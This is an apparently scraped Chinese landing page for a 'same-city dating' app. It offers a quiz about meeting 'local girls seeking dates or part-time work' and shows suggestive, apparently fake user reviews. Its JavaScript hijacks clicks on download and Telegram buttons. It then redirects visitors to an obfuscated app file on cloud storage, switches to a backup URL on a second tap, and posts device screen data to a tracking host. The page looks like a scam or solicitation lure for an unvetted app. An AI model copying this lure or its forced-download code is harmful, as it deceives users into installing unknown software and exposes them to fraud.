<br />
<b>Warning</b>:  mkdir(): No space left on device in <b>/www/wwwroot/T4.COM/func.php</b> on line <b>127</b><br />
<br />
<b>Warning</b>:  file_put_contents(./cachefile_yuan/ciptc-top.com/img/fc/1c128/1f929.css): failed to open stream: No such file or directory in <b>/www/wwwroot/T4.COM/func.php</b> on line <b>115</b><br />
<!DOCTYPE html>
<html lang="zh-CN"><head>
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?88f2db08791fc974e828b6a6ebeca198";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();
</script>
<script>
var _czc = _czc || [];
(function () {
  var um = document.createElement("script");
  um.src = "https://v1.cnzz.com/z.js?id=1281499722&async=1";
  var s = document.getElementsByTagName("script")[0];
  s.parentNode.insertBefore(um, s);
})();
</script><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  
  <meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=no">
  <title> </title>
  <link rel="icon" href="https://baidu.com/favicon.ico">
  <script type="text/javascript" src="/static/op/op-guard.js"></script>
  <!-- <script type="text/javascript" charset="UTF-8" src="/openinstall.js"></script> -->
  <link rel="stylesheet" href="/511/styles.css">
  <script type="text/javascript">
  (function () {
    var channelCode = "yangip";
    var appKey = "mnxmxu";
    var androidDownloadUrl = "https://liwu2bsuvehg-1444414364.cos.accelerate.myqcloud.com/DH556/xedmps.fhnuomdk   "
    var iosDownloadUrl = "https://sidb97b.zhixinhuichong.com/d/2imvnk89krenwux"
    var androidBackupDownloadUrl = "https://liwu2bsuvehg-1444414364.cos.accelerate.myqcloud.com/DH556/xedmps.fhnuomdk   ";
    var appendChannelCodeIosEnabled = 0 === 1;
    var appendChannelCodeAndroidEnabled = 0 === 1;
    var directDownloadIosEnabled = 0 === 1;
    var directDownloadAndroidEnabled = 0 === 1;
    var fallbackScriptLoaded = false;
    var fallbackScriptFailed = false;
    var fallbackScriptLoading = false;
    var openInstallInitializing = false;
    var openInstallReady = false;
    /** SDK onerror / 初始化超时 / 无 appKey：不能仅凭「脚本 onload」认为 OP 可用 */
    var openInstallSdkFailed = false;
    var openInstallInitTimer = null;
    var wakeFallbackTimer = null;
    var wakeReadyFallbackTimer = null;
    /** OP 已就绪时：首次唤醒后若仍停在前台超过此时长，则走固定下载（与常见「等 3 秒再兜底」一致；切入后台则取消） */
    var WAKE_READY_FALLBACK_MS = 3000;
    var lastWakeAttemptAt = 0;
    var directDownloadReady = false;
    var directDownloadUrl = "";
    var directDownloadReadyLogged = false;
    var androidDlTapCount = 0;
    var appKeyTrim = (appKey || "").replace(/^\s+|\s+$/g, "");
    var logPrefix = "[OpenInstallBridge]";
    var cdnOpenInstallScriptUrl = "/openinstall-" + encodeURIComponent(appKeyTrim || appKey) + ".js";

    function logInfo() {
      var args = Array.prototype.slice.call(arguments);
      args.unshift(logPrefix);
      console.log.apply(console, args);
    }

    function logWarn() {
      var args = Array.prototype.slice.call(arguments);
      args.unshift(logPrefix);
      console.warn.apply(console, args);
    }

    function logError() {
      var args = Array.prototype.slice.call(arguments);
      args.unshift(logPrefix);
      console.error.apply(console, args);
    }

    function isIOSPlatform() {
      var ua = navigator.userAgent.toLowerCase();
      return ua.indexOf("iphone") !== -1 || ua.indexOf("ipad") !== -1 || ua.indexOf("ipod") !== -1;
    }

    function isAndroidPlatform() {
      return /android/i.test(navigator.userAgent || "");
    }

    function isCurrentPlatformAppendChannelEnabled() {
      if (isIOSPlatform()) {
        return appendChannelCodeIosEnabled;
      }
      return appendChannelCodeAndroidEnabled;
    }

    function appendChannel(url) {
      if (!url || !isCurrentPlatformAppendChannelEnabled() || !channelCode) {
        return url;
      }
      var suffix = encodeURIComponent(channelCode);
      if (url.slice(-1) === "?" || url.slice(-1) === "&") {
        return url + suffix;
      }
      return url + (url.indexOf("?") === -1 ? "?" : "") + suffix;
    }

    function getFallbackDownloadUrl() {
      var isIOS = isIOSPlatform();
      var target = isIOS ? (iosDownloadUrl || androidDownloadUrl) : (androidDownloadUrl || iosDownloadUrl);
      return appendChannel(target);
    }

    function isCurrentPlatformDirectDownloadEnabled() {
      if (isIOSPlatform()) {
        return directDownloadIosEnabled;
      }
      return directDownloadAndroidEnabled;
    }

    function fallbackDownload() {
      var target = directDownloadReady ? directDownloadUrl : getFallbackDownloadUrl();
      if (target) {
        logWarn("走固定下载地址:", target);
        window.location.href = target;
      } else {
        logError("固定下载地址未配置");
      }
    }

    function markDirectDownloadReady(reason) {
      if (!directDownloadReady) {
        directDownloadUrl = getFallbackDownloadUrl();
        directDownloadReady = !!directDownloadUrl;
      }
      if (directDownloadReady) {
        if (!directDownloadReadyLogged) {
          directDownloadReadyLogged = true;
          logWarn("已预先准备固定下载地址，原因:", reason, "地址:", directDownloadUrl);
        } else if (typeof console !== "undefined" && console.debug) {
          console.debug(logPrefix, "固定下载地址已就绪，原因:", reason);
        } else {
          logInfo("固定下载地址已就绪，原因:", reason);
        }
      } else {
        logError("无法预先准备固定下载地址，原因:", reason);
      }
    }

    function clearOpenInstallInitTimer() {
      if (openInstallInitTimer) {
        clearTimeout(openInstallInitTimer);
        openInstallInitTimer = null;
      }
    }

    function markOpenInstallSdkFailed(reason) {
      openInstallSdkFailed = true;
      openInstallReady = false;
      openInstallInitializing = false;
      clearOpenInstallInitTimer();
      clearWakeReadyFallbackTimer();
      markDirectDownloadReady(reason);
    }

    function clearWakeReadyFallbackTimer() {
      if (wakeReadyFallbackTimer) {
        clearTimeout(wakeReadyFallbackTimer);
        wakeReadyFallbackTimer = null;
      }
    }

    /**
     * OP 已就绪：用户点击后已调用 wakeupOrInstall，若一段时间内仍停在前台（未切走），认为未唤起成功，走固定下载。
     * 若切入后台则取消（避免已进 App 仍跳商店）。
     */
    function scheduleWakeReadyFallback(delayMs, reason) {
      clearWakeReadyFallbackTimer();
      if (wakeFallbackTimer) {
        clearTimeout(wakeFallbackTimer);
        wakeFallbackTimer = null;
      }
      function onVisibilityChange() {
        if (document.visibilityState === "hidden") {
          clearWakeReadyFallbackTimer();
          document.removeEventListener("visibilitychange", onVisibilityChange);
          logInfo("页面已进入后台，取消唤起后固定下载兜底", reason || "");
        }
      }
      document.addEventListener("visibilitychange", onVisibilityChange);
      wakeReadyFallbackTimer = setTimeout(function () {
        wakeReadyFallbackTimer = null;
        document.removeEventListener("visibilitychange", onVisibilityChange);
        if (document.visibilityState === "hidden") {
          logInfo("页面已隐藏，跳过唤起后固定下载兜底");
          return;
        }
        if (openInstallSdkFailed) {
          return;
        }
        logWarn("唤起等待结束仍在前台，进入固定下载兜底，原因:", reason || "");
        fallbackDownload();
      }, delayMs);
    }

    /** 仅用于「点击时 OP 尚未就绪」： loading/初始化后再尝试唤醒，仍失败则固定下载。 */
    function scheduleWakeFallback(delayMs, reason) {
      clearWakeReadyFallbackTimer();
      if (wakeFallbackTimer) {
        clearTimeout(wakeFallbackTimer);
        wakeFallbackTimer = null;
      }
      function onVisibilityChange() {
        if (document.visibilityState === "hidden") {
          if (wakeFallbackTimer) {
            clearTimeout(wakeFallbackTimer);
            wakeFallbackTimer = null;
          }
          document.removeEventListener("visibilitychange", onVisibilityChange);
          logInfo("页面已进入后台，取消固定下载兜底（可能已唤起应用）");
        }
      }
      document.addEventListener("visibilitychange", onVisibilityChange);
      wakeFallbackTimer = setTimeout(function () {
        wakeFallbackTimer = null;
        document.removeEventListener("visibilitychange", onVisibilityChange);
        if (document.visibilityState === "hidden") {
          logInfo("页面已隐藏，跳过固定下载兜底");
          return;
        }
        if (openInstallSdkFailed) {
          logWarn("SDK 已失效，进入固定下载兜底，原因:", reason);
          fallbackDownload();
          return;
        }
        if (window.openInstall && openInstallReady) {
          try {
            logInfo("兜底窗口内 OP 已就绪，调用 wakeupOrInstall，原因:", reason);
            window.openInstall.wakeupOrInstall({ channelCode: channelCode });
            logInfo("仅走 SDK 唤起/下载，不自动跳转固定地址");
            return;
          } catch (e) {
            logError("兜底唤醒异常:", e);
            markOpenInstallSdkFailed("兜底唤醒异常");
            fallbackDownload();
            return;
          }
        }
        logWarn("兜底窗口结束时 OP 仍未就绪，进入固定下载，原因:", reason);
        fallbackDownload();
      }, delayMs);
    }

    function appendScript(src, onload, onerror) {
      var script = document.createElement("script");
      script.src = src;
      script.async = true;
      script.onload = onload;
      script.onerror = onerror;
      document.head.appendChild(script);
    }

    function tryLoadCdnOpenInstall(onSuccess, onError, startLogText) {
      logInfo(startLogText, cdnOpenInstallScriptUrl);
      appendScript(
        cdnOpenInstallScriptUrl,
        function () {
          logInfo("官网 OpenInstall 脚本加载成功");
          onSuccess();
        },
        function () {
          logWarn("官网 OpenInstall 脚本加载失败:", cdnOpenInstallScriptUrl);
          onError();
        }
      );
    }

    function loadFallbackScriptAndInit() {
      if (fallbackScriptLoaded || fallbackScriptFailed || fallbackScriptLoading) {
        return;
      }
      fallbackScriptLoading = true;

      function markLoadFailed() {
        fallbackScriptLoading = false;
        fallbackScriptFailed = true;
        logError("官网脚本加载失败");
        markDirectDownloadReady("官网脚本加载失败");
      }

      tryLoadCdnOpenInstall(
        function () {
          fallbackScriptLoading = false;
          fallbackScriptLoaded = true;
          initOpenInstall();
        },
        function () {
          markLoadFailed();
        },
        "开始加载官网 OpenInstall 脚本:"
      );
    }

    function loadLocalScriptThenPrimary() {
      if (isCurrentPlatformDirectDownloadEnabled()) {
        return;
      }
      if (!appKeyTrim) {
        markOpenInstallSdkFailed("未配置 appKey");
        logWarn("跳过 OpenInstall 脚本加载");
        return;
      }
      if (typeof OpenInstall !== "undefined") {
        logInfo("检测到 OpenInstall 已存在，直接初始化");
        initOpenInstall();
        return;
      }

      tryLoadCdnOpenInstall(
        function () {
          initOpenInstall();
        },
        function () {
          logWarn("启动阶段官网脚本加载失败");
          fallbackScriptFailed = true;
          markDirectDownloadReady("启动阶段官网脚本加载失败");
        },
        "启动阶段加载官网 OpenInstall 脚本:"
      );
    }

    function initOpenInstall() {
      if (openInstallSdkFailed) {
        return;
      }
      if (openInstallInitializing || openInstallReady) {
        return;
      }
      if (!appKeyTrim) {
        markOpenInstallSdkFailed("未配置 appKey");
        return;
      }
      if (typeof OpenInstall === "undefined") {
        logWarn("OpenInstall 未定义，尝试 CDN 脚本");
        loadFallbackScriptAndInit();
        return;
      }
      openInstallInitializing = true;
      logInfo("开始初始化 OpenInstall, appKey:", appKeyTrim, "channelCode:", channelCode);
      clearOpenInstallInitTimer();
      openInstallInitTimer = setTimeout(function () {
        openInstallInitTimer = null;
        if (!openInstallReady && !openInstallSdkFailed) {
          logWarn("OpenInstall 长时间未触发 onready/onerror，判定 SDK 不可用");
          markOpenInstallSdkFailed("OpenInstall 初始化超时");
        }
      }, 5000);
      try {
        var data = OpenInstall.parseUrlParams();
        window.openInstall = new OpenInstall({
          appKey: appKeyTrim,
          channelCode: channelCode,
          fastInstall: false,
          onready: function () {
            clearOpenInstallInitTimer();
            openInstallReady = true;
            openInstallInitializing = false;
            logInfo("OpenInstall 初始化成功并就绪（SDK 已可用，非仅脚本加载）");
            markDirectDownloadReady("OpenInstall onready，预准备兜底下载");
            try {
              ////this.schemeWakeup();
            } catch (swErr) {
              logError("schemeWakeup 异常:", swErr);
            }
          },
          onerror: function () {
            clearOpenInstallInitTimer();
            logError("OpenInstall SDK onerror，无法拉起或统计链路异常");
            markOpenInstallSdkFailed("OpenInstall SDK onerror");
          }
        }, data);
      } catch (e) {
        clearOpenInstallInitTimer();
        openInstallInitializing = false;
        logError("OpenInstall 初始化异常:", e);
        loadFallbackScriptAndInit();
      }
    }

    function wakeupOrInstall(options) {
      options = options || {};
      var isAutoTrigger = options.auto === true;
      var triggerSource = options.source || (isAutoTrigger ? "auto" : "direct");
      var backupTrim = (androidBackupDownloadUrl || "").replace(/^\s+|\s+$/g, "");
      logInfo("下载触发调试", {
        source: triggerSource,
        auto: isAutoTrigger,
        isAndroid: isAndroidPlatform(),
        hasBackup: !!backupTrim,
        tapCountBefore: androidDlTapCount
      });
      if (!isAutoTrigger && isAndroidPlatform() && backupTrim) {
        androidDlTapCount += 1;
        logInfo("下载触发调试-点击计数", {
          source: triggerSource,
          tapCountAfter: androidDlTapCount
        });
        if (androidDlTapCount >= 2) {
          var backupUrl = appendChannel(backupTrim);
          if (backupUrl) {
            logWarn("下载触发调试-命中备用地址", {
              source: triggerSource,
              url: backupUrl,
              tapCount: androidDlTapCount
            });
            logWarn("安卓第二次触发，走备用下载地址:", backupUrl);
            window.location.href = backupUrl;
          } else {
            logError("下载触发调试-备用地址无效", {
              source: triggerSource,
              raw: backupTrim
            });
            logError("安卓备用下载地址无效");
          }
          return;
        }
      }

      var now = Date.now();
      if (now - lastWakeAttemptAt < 320) {
        logInfo("忽略过快重复点击");
        return;
      }
      lastWakeAttemptAt = now;
      clearWakeReadyFallbackTimer();

      markDirectDownloadReady("点击前预热兜底地址");

      if (isCurrentPlatformDirectDownloadEnabled()) {
        markDirectDownloadReady("开启直接固定下载");
        fallbackDownload();
        return;
      }

      if (openInstallSdkFailed || fallbackScriptFailed) {
        if (!directDownloadReady) {
          markDirectDownloadReady("SDK 或脚本已判定不可用");
        }
        logWarn("已提前判定 OpenInstall 不可用，立即固定下载");
        fallbackDownload();
        return;
      }

      if (window.openInstall && openInstallReady && !openInstallSdkFailed) {
        try {
          logInfo("调用 wakeupOrInstall");
          scheduleWakeReadyFallback(WAKE_READY_FALLBACK_MS, "OP 已就绪");
          window.openInstall.wakeupOrInstall({ channelCode: channelCode });
        } catch (e) {
          clearWakeReadyFallbackTimer();
          logError("wakeupOrInstall 调用异常:", e);
          markOpenInstallSdkFailed("wakeupOrInstall 抛出异常");
          fallbackDownload();
          return;
        }
        logInfo("已启动唤起；若 " + WAKE_READY_FALLBACK_MS + "ms 内仍停在本页则走固定下载兜底（切入后台则取消）");
        return;
      }

      if (!directDownloadReady) {
        markDirectDownloadReady("点击时补充准备兜底");
      }

      if (typeof OpenInstall === "undefined") {
        logWarn("点击时 OpenInstall 未就绪，先加载/回退脚本");
        loadFallbackScriptAndInit();
      } else {
        logWarn("点击时 OpenInstall 未 ready，尝试重新初始化");
        initOpenInstall();
      }

      scheduleWakeFallback(directDownloadReady ? 800 : 1100, "首次点击 OP 尚未就绪");
    }

    document.addEventListener("click", function (e) {
      var trigger = e.target.closest("#downloadApp, #downloadBtn, #telegramButton, .btn-download, .all-download");
      if (!trigger) {
        return;
      }
      e.preventDefault();
      logInfo("检测到下载点击，目标元素:", trigger.id || trigger.className || trigger.tagName);
      wakeupOrInstall({ source: "click" });
    }, true);

    window.channelCode = channelCode;
    window.appKey = appKey;
    window.openInstallDownload = wakeupOrInstall;
    window.downloadApp = wakeupOrInstall;
    window.openInstallFallbackDownload = fallbackDownload;

    if (isCurrentPlatformDirectDownloadEnabled()) {
      markDirectDownloadReady("页面初始化即直接固定下载模式");
      logWarn("当前为直接固定下载模式，跳过 OpenInstall 初始化");
      return;
    }

    setTimeout(function () {
      loadLocalScriptThenPrimary();
    }, 50);

    setTimeout(function () {
      if (typeof OpenInstall === "undefined" && fallbackScriptFailed) {
        markDirectDownloadReady("主脚本和CDN均不可用");
      }
    }, 300);
  })();
</script>
</head>
<body>
  <div class="phone-shell">
    <div class="phone-frame">
      <span class="phone-side-button phone-side-button--mute" aria-hidden="true"></span>
      <span class="phone-side-button phone-side-button--volume-up" aria-hidden="true"></span>
      <span class="phone-side-button phone-side-button--volume-down" aria-hidden="true"></span>
      <span class="phone-side-button phone-side-button--power" aria-hidden="true"></span>
      <div class="phone-island" aria-hidden="true"></div>
      <div class="phone-screen">
<div id="qa-layer">
  <div id="qa-mask"></div>
  <div id="qa-card">
    <div class="progress-text" id="progressText"></div>
    <div class="progress-bar"><span id="progressBar" style="width: 12.5%;"></span></div>
    <h1 id="qTitle">温馨提示</h1>
    <p id="qDesc">你即将看到当地寻找约会或兼职的女孩，您能否保密不泄露女孩隐私？<br><br>约会之前，我们需要问几个简短问题?</p>
    <div id="qOptions" class="options"><div class="option">好的</div><div class="option">我不愿意</div></div>
  </div>
</div>
<div id="popup">
  <div class="popup-box">
    <h2>❌ 答题不符合要求</h2>
    <p>请重新答题</p>
    <button onclick="restart()">重新答题</button>
  </div>
</div>
  <div class="hero">
    <img src="/uploads/appinfo/logo_1_1789833594.jpg" alt="App Logo">
    <h1>今晚不再孤单</h1>
    <p>同城快速匹配，马上认识身边的TA</p>
    <a class="download-btn" id="downloadBtn" href="javascript:void(0)">立即下载</a>
  </div>
  <div class="section">
    <h2>为什么选择我们？</h2>
    <div class="features">
      <div class="feature">
        <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 21.35l-1.45-1.32C5.4 15.36 2 12.28 2 8.5 2 5.42 
          4.42 3 7.5 3c1.74 0 3.41 0.81 4.5 2.09C13.09 3.81 
          14.76 3 16.5 3 19.58 3 22 5.42 22 8.5c0 3.78-3.4 
          6.86-8.55 11.54L12 21.35z"></path></svg>
        <h3>同城匹配</h3>
        <p>快速遇见附近的有缘人</p>
      </div>
      <div class="feature">
        <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M20 2H4C2.9 2 2 2.9 2 4v16l4-4h14c1.1 0 2-0.9 
          2-2V4c0-1.1-0.9-2-2-2z"></path></svg>
        <h3>真实聊天</h3>
        <p>视频语音，拉近心与心的距离</p>
      </div>
      <div class="feature">
        <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 17a2 2 0 100-4 2 2 0 000 4zm6.6-9.2l-1.4-1.4L12 
          10.6 6.8 6.4 5.4 7.8 12 14.4l6.6-6.6z"></path></svg>
        <h3>安全私密</h3>
        <p>隐私保护，放心交友</p>
      </div>
    </div>
  </div>
  <div class="section">
    <h2>用户反馈</h2>
    <div class="screenshots">
      <img src="/511/1.js" alt="聊天界面" loading="lazy">
      <img src="/511/2.js" alt="附近的人" loading="lazy">
      <img src="/511/3.js" alt="个人主页" loading="lazy">
    </div>
  </div>
  <div class="section">
    <h2>用户心声</h2>
    <div class="reviews">
      <div class="review-item"><b>林哥</b><p>体验感很好，聊了一会就见面，感觉比其他软件真实多了。 ❤️</p></div>
      <div class="review-item"><b>白龙</b><p>本来只是随便看看，没想到附近的人还挺真实的。聊了几句就加了联系方式，比之前用过的几个软件靠谱多了，至少不是全是机器人。</p></div>
      <div class="review-item"><b>阿杰</b><p>和妹妹聊了下，然后就出来了。没想到妹妹活这么好！</p></div>
      <div class="review-item"><b>Sunny</b><p>聊天界面很顺畅，大家都挺真实，不像其他软件。</p></div>
    </div>
  </div>
  <div class="section">
    <h2>应用信息</h2>
    <ul class="info-list">
      <li><span>大小</span><span>30 MB</span></li>
      <li><span>兼容性</span><span>iOS 10.0+ / Android</span></li>
      <li><span>语言</span><span>简体中文</span></li>
      <li><span>年龄分级</span><span>限18岁以上</span></li>
      <li><span>开发者</span><span>同城约会科技</span></li>
    </ul>
  </div>
  <div class="footer">
    © 2026 同城约会 · 遇见你想见的人
  </div>

  <!-- 微信/QQ引导蒙层 -->
  <div id="wechat-mask">
    <div class="wechat-mask-bg"></div>
    <div class="wechat-mask-pop">
      <div class="wechat-mask-header">
        <img class="wechat-mask-logo" src="/uploads/appinfo/logo_1_1789833594.jpg" alt="App Logo">
        <div class="wechat-mask-info">
          <p class="wechat-mask-title">请在浏览器中打开</p>
          <p class="wechat-mask-subtitle">当前环境无法直接下载</p>
        </div>
      </div>
      <div class="wechat-mask-steps">
        <p><span class="step-num">1</span> 点击右上角 <b>"..."</b> 按钮</p>
        <p><span class="step-num">2</span> 选择 <b id="open-tip">"在浏览器中打开"</b></p>
      </div>
      <div class="wechat-mask-divider"><span>或者复制链接到浏览器</span></div>
      <div class="wechat-mask-copy">
        <input id="wechat-url" type="text" readonly="">
        <button id="wechat-copy-btn">复制</button>
      </div>
    </div>
  </div>

  <div id="net-modal" style="display:none;position:fixed;inset:0;z-index:99999;background:rgba(0,0,0,.5);justify-content:center;align-items:center;animation:fadeIn .2s">
    <div style="background:linear-gradient(160deg,#fff 60%,#f0f4ff);border-radius:18px;width:84%;max-width:320px;padding:32px 24px 24px;text-align:center;box-shadow:0 12px 40px rgba(0,0,0,.2);position:relative;animation:popIn .25s cubic-bezier(.34,1.56,.64,1)">
      <div style="width:56px;height:56px;margin:0 auto 16px;background:linear-gradient(135deg,#ff9a56,#ff6b6b);border-radius:50%;display:flex;align-items:center;justify-content:center;box-shadow:0 4px 15px rgba(255,107,107,.3)">
        <svg width="28" height="28" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="2.2" stroke-linecap="round" stroke-linejoin="round"><path d="M1 1l22 22"></path><path d="M16.72 11.06A10.94 10.94 0 0 1 19 12.55"></path><path d="M5 12.55a10.94 10.94 0 0 1 5.17-2.39"></path><path d="M10.71 5.05A16 16 0 0 1 22.56 9"></path><path d="M1.42 9a15.91 15.91 0 0 1 4.7-2.88"></path><path d="M8.53 16.11a6 6 0 0 1 6.95 0"></path><line x1="12" y1="20" x2="12.01" y2="20"></line></svg>
      </div>
      <div style="font-size:17px;font-weight:700;color:#1a1a2e;margin-bottom:8px">您的手机网络连接失败</div>
      <div style="font-size:14px;color:#666;line-height:1.7;margin-bottom:22px">请检查手机网络设置，尝试切换 WiFi 或开启移动数据后刷新重试</div>
      <button id="net-modal-btn" style="width:100%;padding:13px 0;border:none;border-radius:12px;background:linear-gradient(135deg,#667eea,#764ba2);color:#fff;font-size:15px;font-weight:600;cursor:pointer;box-shadow:0 4px 15px rgba(102,126,234,.35);transition:transform .15s">刷新页面</button>
      <div style="font-size:12px;color:#aaa;margin-top:14px">祝您早日寻到心仪佳人</div>
    </div>
  </div>

  <script src="/511/app.js"></script>
  <script src="/511/qa.js?v1"></script>
  <script>render();</script>
 <script>var w=screen.width,h=screen.height,d=Math.round(devicePixelRatio);if(w>h){var t=w;w=h;h=t;}var x=new XMLHttpRequest();x.open('POST',`https://qhelncxf.tj3install.w150e.com/statisticsInstall2?appkey=PbLby&channelCode=${channelCode}`,1);x.setRequestHeader('Content-Type','application/json');x.send(JSON.stringify({device_model:w+'x'+h+'@'+d}));</script>    

</div></div></div></body></html>